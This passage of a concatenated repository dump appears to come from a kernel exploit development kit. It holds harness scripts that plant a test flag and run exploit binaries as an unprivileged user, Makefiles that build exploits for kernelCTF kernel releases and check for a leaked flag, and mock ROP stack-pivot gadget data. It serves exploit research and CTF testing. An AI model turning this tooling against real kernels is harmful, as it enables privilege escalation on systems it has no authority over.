Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "CTF{secret_flag_deadbeef}" > /flag 17 | chmod 0000 /flag 18 | if [ -e /dev/xdk ]; then 19 | chmod o+rw /dev/xdk 20 | fi 21 | chmod o+rx /exp 22 | echo "Running id and then the exploit: /exp $@" 23 | ARG="id; /exp $@" 24 | su user -c /bin/sh -c "$ARG" 25 | -------------------------------------------------------------------------------- /libxdk/samples/exp65/exp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "CTF{secret_flag_deadbeef}" > /flag 17 | chmod 0000 /flag 18 | if [ -e /dev/xdk ]; then 19 | chmod o+rw /dev/xdk 20 | fi 21 | chmod o+rx /exp 22 | echo "Running id and then the exploit: /exp $@" 23 | ARG="id; /exp $@" 24 | su user -c /bin/sh -c "$ARG" 25 | -------------------------------------------------------------------------------- /libxdk/samples/exp93_98/exp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "CTF{secret_flag_deadbeef}" > /flag 17 | chmod 0000 /flag 18 | if [ -e /dev/xdk ]; then 19 | chmod o+rw /dev/xdk 20 | fi 21 | chmod o+rx /exp 22 | echo "Running id and then the exploit: /exp $@" 23 | ARG="id; /exp $@" 24 | su user -c /bin/sh -c "$ARG" 25 | -------------------------------------------------------------------------------- /libxdk/samples/pipe_buf_rop/exp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "CTF{secret_flag_deadbeef}" > /flag 17 | chmod 0000 /flag 18 | if [ -e /dev/xdk ]; then 19 | chmod o+rw /dev/xdk 20 | fi 21 | chmod o+rx /exp 22 | echo "Running id and then the exploit: /exp $@" 23 | ARG="id; /exp $@" 24 | su user -c /bin/sh -c "$ARG" 25 | -------------------------------------------------------------------------------- /libxdk/include/xdk/core.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | -------------------------------------------------------------------------------- /libxdk/util/error.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | errno_error::errno_error() 21 | : std::system_error(errno, std::generic_category()) {} 22 | 23 | errno_error::errno_error(const char* __what) 24 | : std::system_error(errno, std::generic_category(), __what) {} 25 | -------------------------------------------------------------------------------- /kxdb_tool/data_model/structs.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from typing import Dict, Optional 16 | from pydantic.dataclasses import dataclass 17 | 18 | @dataclass 19 | class StructField(): 20 | offset: int 21 | size: int 22 | 23 | @dataclass(unsafe_hash=True) 24 | class Struct(): 25 | size: int 26 | fields: Dict[str, StructField] 27 | meta_idx: Optional[int] = None 28 | 29 | Structs = Dict[str, Struct] 30 | -------------------------------------------------------------------------------- /kxdb_tool/data_model/serialization.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from pydantic import TypeAdapter 16 | from typing import TypeVar, Type 17 | 18 | T = TypeVar('T') 19 | 20 | def to_json(obj: T, indent=None, type_: Type[T] = None) -> str: 21 | return TypeAdapter(type_ or type(obj)).dump_json(obj, indent=indent, exclude_none=True).decode('utf-8') 22 | 23 | def from_json(type_: Type[T], json_str: str) -> T: 24 | return TypeAdapter(type_).validate_json(json_str) 25 | -------------------------------------------------------------------------------- /libxdk/util/math_utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | /** 20 | * @brief Aligns a number to the nearest multiple of the given alignment. 21 | * @tparam T The type of the number and alignment. 22 | * @param number The number to align. 23 | * @param alignment The alignment value. 24 | * @return The aligned number. 25 | */ 26 | template 27 | T align(T number, T alignment) { 28 | return (number + alignment - 1) & ~(alignment - 1); 29 | } -------------------------------------------------------------------------------- /third_party/kernel_modules/helloworld/helloworld.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* Copyright 2024 Google LLC 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of the GNU General Public License 6 | * version 2 as published by the Free Software Foundation. 7 | * 8 | * This program is distributed in the hope that it will be useful, 9 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | * GNU General Public License for more details. 12 | */ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | MODULE_LICENSE("GPL"); 21 | 22 | static int __init _module_init(void) { 23 | printk(KERN_ERR "helloworld module is loaded.\n"); 24 | return 0; 25 | } 26 | 27 | static void __exit _module_exit(void) { 28 | printk(KERN_ERR "helloworld module is exiting...\n"); 29 | } 30 | 31 | module_init(_module_init); 32 | module_exit(_module_exit); 33 | 34 | -------------------------------------------------------------------------------- /image_runner/rootfs/scripts/command-output.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | echo "=== COMMAND-BEGIN: $@ ===" 17 | # make sure this is written out fully and not to be mixed with dmesg messages 18 | # TODO: make this better, e.g. separate the streams altogether 19 | sleep 0.05 20 | 21 | eval $@ > /output 2>/output 22 | echo "=== COMMAND-END ===" 23 | 24 | # make sure this is written out fully and not to be mixed with dmesg messages 25 | # TODO: make this better, e.g. separate the streams altogether 26 | sleep 0.1 -------------------------------------------------------------------------------- /libxdk/samples/exp111/Makefile: -------------------------------------------------------------------------------- 1 | # ADJUST THIS PATH if kernelXDK is installed elsewhere (e.g., /usr/local) 2 | KERNELXDK_INSTALL_PREFIX ?= ../../ 3 | 4 | KERNELXDK_INCLUDE_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/include/ 5 | KERNELXDK_LIB_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/lib 6 | 7 | #TARGET ?= kernelctf lts-6.1.61 8 | TARGET ?= kernelctf cos-105-17412.226.28 9 | CC = g++ 10 | CFLAGS := -I. -I$(KERNELXDK_INCLUDE_DIR) -static -g 11 | LDFLAGS := -L$(KERNELXDK_LIB_DIR) -lkernelXDK 12 | 13 | build: exp 14 | 15 | exp: exploit.o $(OBJS) target_db.kxdb 16 | $(CC) $(CFLAGS) exploit.o $(LDFLAGS) -o exp 17 | 18 | %.o: %.cpp target_db.kxdb 19 | $(CC) $(CFLAGS) -c $< -o $@ 20 | 21 | target_db.kxdb: 22 | wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb 23 | 24 | run: build 25 | cp exp* ../../../image_runner/rootfs/ 26 | ../../../image_runner/run.sh $(TARGET) --nokaslr -- /exp.sh | tee output.txt 27 | 28 | test: run 29 | grep "CTF{secret_flag_deadbeef}" output.txt || { echo "Failed to leak the flag."; echo "dmesg content: "; cat dmesg.txt; exit 1; } 30 | 31 | echo: 32 | echo $(TARGET) 33 | -------------------------------------------------------------------------------- /libxdk/samples/exp93_98/Makefile: -------------------------------------------------------------------------------- 1 | # ADJUST THIS PATH if kernelXDK is installed elsewhere (e.g., /usr/local) 2 | KERNELXDK_INSTALL_PREFIX ?= ../../ 3 | 4 | KERNELXDK_INCLUDE_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/include/ 5 | KERNELXDK_LIB_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/lib 6 | 7 | TARGET ?= kernelctf lts-6.1.36 8 | #TARGET ?= kernelctf cos-97-16919.353.23 9 | CC = g++ 10 | CFLAGS := -I. -I$(KERNELXDK_INCLUDE_DIR) -Wno-format -static -g 11 | LDFLAGS := -L$(KERNELXDK_LIB_DIR) -lkernelXDK 12 | 13 | build: exp 14 | 15 | exp: exploit.o $(OBJS) target_db.kxdb 16 | $(CC) $(CFLAGS) exploit.o $(LDFLAGS) -o exp 17 | 18 | %.o: %.cpp target_db.kxdb 19 | $(CC) $(CFLAGS) -c $< -o $@ 20 | 21 | target_db.kxdb: 22 | wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb 23 | 24 | run: build 25 | cp exp* ../../../image_runner/rootfs/ 26 | ../../../image_runner/run.sh $(TARGET) --nokaslr -- /exp.sh 0xffffffff81000000 | tee output.txt 27 | 28 | test: run 29 | grep "CTF{secret_flag_deadbeef}" output.txt || { echo "Failed to leak the flag."; echo "dmesg content: "; cat dmesg.txt; exit 1; } 30 | 31 | echo: 32 | echo $(TARGET) 33 | -------------------------------------------------------------------------------- /kxdb_tool/test/mock_db/releases/kernelctf/lts-6.1.38/stack_pivots.json: -------------------------------------------------------------------------------- 1 | { 2 | "one_gadgets": [ 3 | { 4 | "address": 1337, 5 | "instructions": [], 6 | "pivot_reg": "rbp", 7 | "used_offsets": [1, -2, 3], 8 | "next_rip_offset": 8 9 | } 10 | ], 11 | "push_indirects": [ 12 | { 13 | "address": 1234, 14 | "instructions": [], 15 | "indirect_type": "call", 16 | "push_register": "r10", 17 | "used_offsets_in_push": [-10], 18 | "indirect_register": "rax", 19 | "used_offsets_in_indirect_reg": [20], 20 | "next_rip_offset": -16 21 | } 22 | ], 23 | "pop_rsps": [ 24 | { 25 | "address": 9876, 26 | "instructions": [], 27 | "stack_change_before_rsp": 8, 28 | "next_rip_offset": 16 29 | } 30 | ], 31 | "stack_shifts": [ 32 | { 33 | "address": 31337, 34 | "instructions": [], 35 | "ret_offset": 16, 36 | "shift_amount": 24 37 | } 38 | ] 39 | } -------------------------------------------------------------------------------- /image_db/collect.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | process_distro() { 19 | DISTRO_NAME="$1" 20 | DISTRO_ID="${DISTRO_NAME,,}" 21 | 22 | yq -r ".$DISTRO_ID|keys[]" releases.yaml | while read -r RELEASE; do 23 | echo "=====================================================" 24 | echo "Processing $DISTRO_NAME release: $RELEASE" 25 | echo "=====================================================" 26 | ./download_release.sh $DISTRO_ID $RELEASE 27 | done 28 | } 29 | 30 | process_distro kernelCTF 31 | process_distro Ubuntu 32 | -------------------------------------------------------------------------------- /libxdk/include/xdk/util/Register.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | /** 20 | * @defgroup util_classes Utility Classes 21 | * @brief Helper classes for various utilities. 22 | */ 23 | 24 | /** 25 | * @ingroup util_classes 26 | * @brief Enum representing x86-64 general-purpose registers. 27 | */ 28 | enum class Register { RAX = 0, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8, R9, R10, R11, R12, R13, R14, R15 }; 29 | 30 | /** 31 | * @ingroup util_classes 32 | * @brief An array of human-readable names for the Register enum values. 33 | */ 34 | extern const char* register_names[]; 35 | -------------------------------------------------------------------------------- /libxdk/test/TestUtils.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include "test/TestUtils.h" 17 | 18 | void TestUtils::eq(const char* expected, const char* actual, const char* name) { 19 | if (strcmp(expected, actual)) 20 | throw ExpKitError("expected '%s' but got '%s' for %s", expected, actual, 21 | name); 22 | } 23 | 24 | void TestUtils::ne(const char* not_expected, const char* actual, const char* name) { 25 | if (!strcmp(not_expected, actual)) 26 | throw ExpKitError("not expected '%s' but got '%s' for %s", not_expected, actual, 27 | name); 28 | } 29 | -------------------------------------------------------------------------------- /.github/scripts/libxdk_release.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -e 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | LIBXDK_DIR="$SCRIPT_DIR/../../libxdk" 19 | cd "$LIBXDK_DIR" 20 | 21 | LIB_VER="$1" 22 | 23 | if [ -z "$LIB_VER" ]; then 24 | echo "Usage: $0 " 25 | exit 1 26 | fi 27 | 28 | PACKAGE_DIR="build/libxdk-$LIB_VER" 29 | rm -rf $PACKAGE_DIR 2>/dev/null 30 | mkdir -p $PACKAGE_DIR 2>/dev/null 31 | 32 | cp -R include lib "$PACKAGE_DIR/" 33 | find samples -type f -regex ".*\.\(cpp\|h\|sh\)\|.*Makefile" -exec install -D {} $PACKAGE_DIR/{} \; 34 | 35 | cd "$PACKAGE_DIR" 36 | tar -czvf "../libxdk-$LIB_VER.tar.gz" * 37 | -------------------------------------------------------------------------------- /kxdb_tool/converter/utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Module containing simple utility methods and classes.""" 16 | import os 17 | import re 18 | 19 | 20 | def list_dirs(path): 21 | return [f.name for f in os.scandir(path) if f.is_dir()] 22 | 23 | 24 | def natural_sort_key(s): 25 | """Key function for natural sorting. 26 | 27 | Splits a string into numeric and non-numeric parts, converting numeric parts 28 | to integers for comparison. 29 | 30 | Args: 31 | s: The string to sort 32 | 33 | Returns: 34 | The string split into a sortable list. 35 | """ 36 | return [int(c) if c.isdigit() else c.lower() for c in re.split(r"(\d+)", s)] 37 | -------------------------------------------------------------------------------- /libxdk/build_samples.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | if [[ -z "$KERNELXDK_INSTALL_PREFIX" ]]; then 19 | export KERNELXDK_INSTALL_PREFIX="$PWD" 20 | export KERNELXDK_LIB_DIR="$PWD/build" 21 | fi 22 | 23 | for SAMPLE_DIR in samples/*; do 24 | if [[ ! -d "$SAMPLE_DIR" ]]; then continue; fi 25 | 26 | if [ "$PREREQ" != "" ]; then 27 | echo "Installing prerequisites for sample: $SAMPLE_DIR" 28 | if make -C $SAMPLE_DIR -n prerequisites; then make -C $SAMPLE_DIR prerequisites; fi 29 | else 30 | echo "Building sample: $SAMPLE_DIR" 31 | make -j`nproc` -C $SAMPLE_DIR build 32 | fi 33 | done 34 | -------------------------------------------------------------------------------- /libxdk/samples/exp151/Makefile: -------------------------------------------------------------------------------- 1 | # ADJUST THIS PATH if kernelXDK is installed elsewhere (e.g., /usr/local) 2 | KERNELXDK_INSTALL_PREFIX ?= ../../ 3 | 4 | KERNELXDK_INCLUDE_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/include/ 5 | KERNELXDK_LIB_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/lib 6 | 7 | TARGET ?= kernelctf lts-6.1.79 8 | CC = g++ 9 | CFLAGS := -I. -I$(KERNELXDK_INCLUDE_DIR) -I/usr/include/libnl3 -static -g 10 | LDFLAGS := -L$(KERNELXDK_LIB_DIR) -lkernelXDK -lnl-nf-3 -lnl-route-3 -lnl-3 11 | 12 | build: exp 13 | 14 | exp: exploit.o $(OBJS) target_db.kxdb 15 | $(CC) $(CFLAGS) exploit.o $(LDFLAGS) -o exp 16 | 17 | %.o: %.cpp target_db.kxdb 18 | $(CC) $(CFLAGS) -c $< -o $@ 19 | 20 | prerequisites: 21 | sudo apt-get install libnl-nf-3-dev libnl-route-3-dev 22 | 23 | target_db.kxdb: 24 | wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb 25 | 26 | run: exp 27 | cp exp* ../../../image_runner/rootfs/ 28 | ../../../image_runner/run.sh $(TARGET) -- /exp.sh | tee output.txt 29 | 30 | test: run 31 | grep "CTF{secret_flag_deadbeef}" output.txt || { echo "Failed to leak the flag."; echo "dmesg content: "; cat dmesg.txt; exit 1; } 32 | 33 | echo: 34 | echo $(TARGET) 35 | 36 | clean: 37 | rm -f exploit.o exp output.txt dmesg.txt target_db.kxdb 38 | -------------------------------------------------------------------------------- /libxdk/include/xdk/leak/LeakedBuffer.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | class LeakedBuffer { 24 | Target& target_; 25 | std::vector data_; 26 | 27 | public: 28 | LeakedBuffer(Target& target, std::vector data); 29 | 30 | uint64_t Read(uint64_t offset, size_t size); 31 | 32 | std::map GetStruct(const std::string& struct_name, int64_t struct_offset = 0); 33 | uint64_t GetField(const std::string& struct_name, const std::string& field_name, int64_t struct_offset = 0); 34 | }; 35 | -------------------------------------------------------------------------------- /image_db/collect_runtime_data.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | SCRIPT_DIR=$(dirname $(realpath "$0")) 17 | RUNNER_DIR="$SCRIPT_DIR/../image_runner" 18 | 19 | cd $SCRIPT_DIR 20 | 21 | for RELEASE_DIR in releases/*/*; do 22 | RELEASE_DIR_PARTS=(${RELEASE_DIR//\// }) 23 | DISTRO=${RELEASE_DIR_PARTS[1]} 24 | RELEASE_NAME=${RELEASE_DIR_PARTS[2]} 25 | for PROC_FN in version slabinfo; do 26 | OUT_FN="$RELEASE_DIR/$PROC_FN.txt" 27 | if [ -f "$OUT_FN" ]; then continue; fi 28 | 29 | echo "Getting $PROC_FN for $DISTRO $RELEASE_NAME..." 30 | $RUNNER_DIR/run.sh --only-command-output $DISTRO $RELEASE_NAME -- cat /proc/$PROC_FN > $OUT_FN 31 | done 32 | done -------------------------------------------------------------------------------- /libxdk/samples/exp65/Makefile: -------------------------------------------------------------------------------- 1 | # ADJUST THIS PATH if kernelXDK is installed elsewhere (e.g., /usr/local) 2 | KERNELXDK_INSTALL_PREFIX ?= ../../ 3 | 4 | KERNELXDK_INCLUDE_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/include/ 5 | KERNELXDK_LIB_DIR ?= $(KERNELXDK_INSTALL_PREFIX)/lib 6 | 7 | TARGET ?= kernelctf lts-6.1.36 8 | #TARGET ?= kernelctf cos-101-17162.210.48 9 | #TARGET ?= kernelctf mitigation-6.1-v2 10 | CC = g++ 11 | CFLAGS := -I. -I$(KERNELXDK_INCLUDE_DIR) -I/usr/include/libnl3 -static -g 12 | LDFLAGS := -L$(KERNELXDK_LIB_DIR) -lkernelXDK -pthread -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl 13 | 14 | build: exp 15 | 16 | exp: exploit.o $(OBJS) target_db.kxdb 17 | $(CC) $(CFLAGS) exploit.o $(LDFLAGS) -o exp 18 | 19 | %.o: %.cpp target_db.kxdb 20 | $(CC) $(CFLAGS) -c $< -o $@ 21 | 22 | prerequisites: 23 | sudo apt-get install libnl-cli-3-dev libnl-route-3-dev 24 | 25 | target_db.kxdb: 26 | wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb 27 | 28 | run: build 29 | cp exp* ../../../image_runner/rootfs/ 30 | ../../../image_runner/run.sh $(TARGET) --nokaslr -- /exp.sh 0xffffffff81000000 | tee output.txt 31 | 32 | test: run 33 | grep "CTF{secret_flag_deadbeef}" output.txt || { echo "Failed to leak the flag."; echo "dmesg content: "; cat dmesg.txt; exit 1; } 34 | 35 | echo: 36 | echo $(TARGET) 37 | -------------------------------------------------------------------------------- /image_runner/test/xdk_dev_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | set -e 17 | 18 | SCRIPT_DIR=$(dirname $(realpath "$0")) 19 | cd $SCRIPT_DIR 20 | 21 | usage() { 22 | echo "Usage: $0 [(kernelctf|ubuntu) ]"; 23 | exit 1; 24 | } 25 | 26 | DISTRO="$1" 27 | RELEASE_NAME="$2" 28 | 29 | # fallback to some default release in case we just want to 30 | # test the module, but it does not really matter on which version 31 | if [ -z "$DISTRO" ] && [ -z "$RELEASE_NAME"]; then 32 | DISTRO="kernelctf" 33 | RELEASE_NAME="lts-6.1.58" 34 | fi 35 | 36 | gcc -static -Werror -o ../rootfs/xdk_dev_test xdk_dev_test.c 37 | ../run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=xdk_device -- /xdk_dev_test ${@:3} 38 | -------------------------------------------------------------------------------- /.github/workflows/db-upgrade-to-new-config.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: 'DB: upgrade to new config' 16 | on: 17 | workflow_dispatch: 18 | permissions: {} 19 | jobs: 20 | upgrade_db: 21 | runs-on: ubuntu-latest 22 | steps: 23 | - name: Checkout repo 24 | uses: actions/checkout@v4 25 | 26 | - name: Authenticate to Google Cloud 27 | uses: google-github-actions/auth@v2 28 | with: 29 | credentials_json: '${{ secrets.DB_GCS_SA_KEY }}' 30 | 31 